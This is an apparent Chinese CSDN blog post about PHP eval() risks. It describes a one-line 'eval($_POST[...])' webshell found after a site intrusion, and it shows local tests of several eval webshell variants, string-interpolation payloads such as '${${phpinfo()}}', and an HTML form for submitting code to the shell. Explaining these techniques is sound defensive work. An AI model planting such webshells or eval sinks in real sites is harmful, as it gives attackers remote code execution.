【php安全】eval的禁止【原创】

尽管eval()不能通过php.ini的disable_functions禁用,但可以通过安装Suhosin扩展并在配置中设置suhosin.executor.disable_eval = on来禁止。本文介绍了这一方法及其实施步骤。
摘要由CSDN通过智能技术生成
前段时间,网站遭受了黑客的入侵,后来在排查中发现了一个php,里面的内容只有很少:


<?php eval($_POST[asda123131323156341]);?>

然后网上搜索一下php的eval函数,发现这个eval函数带有很大的安全隐患。
本地测试一下,在本地环境写一个php,内容如下:
default.php:
<?php eval($_GET[asda]);?>
然后访问一下:localhost/test/default.php?asda=phpinfo();
就可以看到已经把phpinfo给执行了。
或者是访问localhost/test/default.php?asda = echo 11111;同样也会发现1111被echo出来了。
类似的手段还有:
<?php $code="${${eval($_GET[c])}}";?>
访问localhost/test/default.php?c=phpinfo();即可看到

<?php
$code=addslashes($_GET[c]);
eval(""$code""); 
?> 
访问localhost/test/default.php?c= ${${phpinfo()}};即可看到

利用可以执行php的eval函数,黑客可以用这个来上传一些后台木马,比如说上传php,然后通过url访问这个php来获得更大的权限。这种称为一句话木马的入侵。比如说:写一个html,内容如下:
<html> 
<body> 
<form action="default.php" method="post"> 
<input type="text" name="c" value="phpinfo();"> 
<input type="submit" value="submit"> 
</form> 
</body> 
</html>
然后写一个default.php,内容为:
<?php eval($_POST[c]);?>
这样的话,想执行什么php就可以直接提交运行即可。


所以: eval()对于php安全来说具有很大的杀伤力,
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值